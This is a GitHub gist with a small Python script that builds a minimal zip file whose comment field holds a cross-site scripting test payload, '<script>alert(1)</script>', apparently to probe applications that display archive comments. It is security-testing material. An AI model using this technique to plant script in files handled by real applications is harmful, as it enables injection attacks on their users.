Skip to content

Instantly share code, notes, and snippets.

@libcrack
Created October 8, 2016 11:47
Show Gist options
  • Select an option

  • Save libcrack/67292e4183b646e517505876a6f1b170 to your computer and use it in GitHub Desktop.

Select an option

Save libcrack/67292e4183b646e517505876a6f1b170 to your computer and use it in GitHub Desktop.
Create minimum zip file with an arbitrary comment
#!/usr/bin/env python
# encoding: utf-8
# devnull@libcrack.so
# Sat Oct 8 13:45:22 CEST 2016
import struct
filename = "file.zip"
payload = "<script>alert(1)</script>"
zipcontent = "\x50\x4b\x05\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
zipcontent += struct.pack("H",len(payload))
zipcontent += payload
print("Creating file {0}".format(filename))
fp = open(filename, 'w+')
print("Writing payload")
fp.write(zipcontent)
print("Closing {0}".format(filename))
fp.close()
print ("Done")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment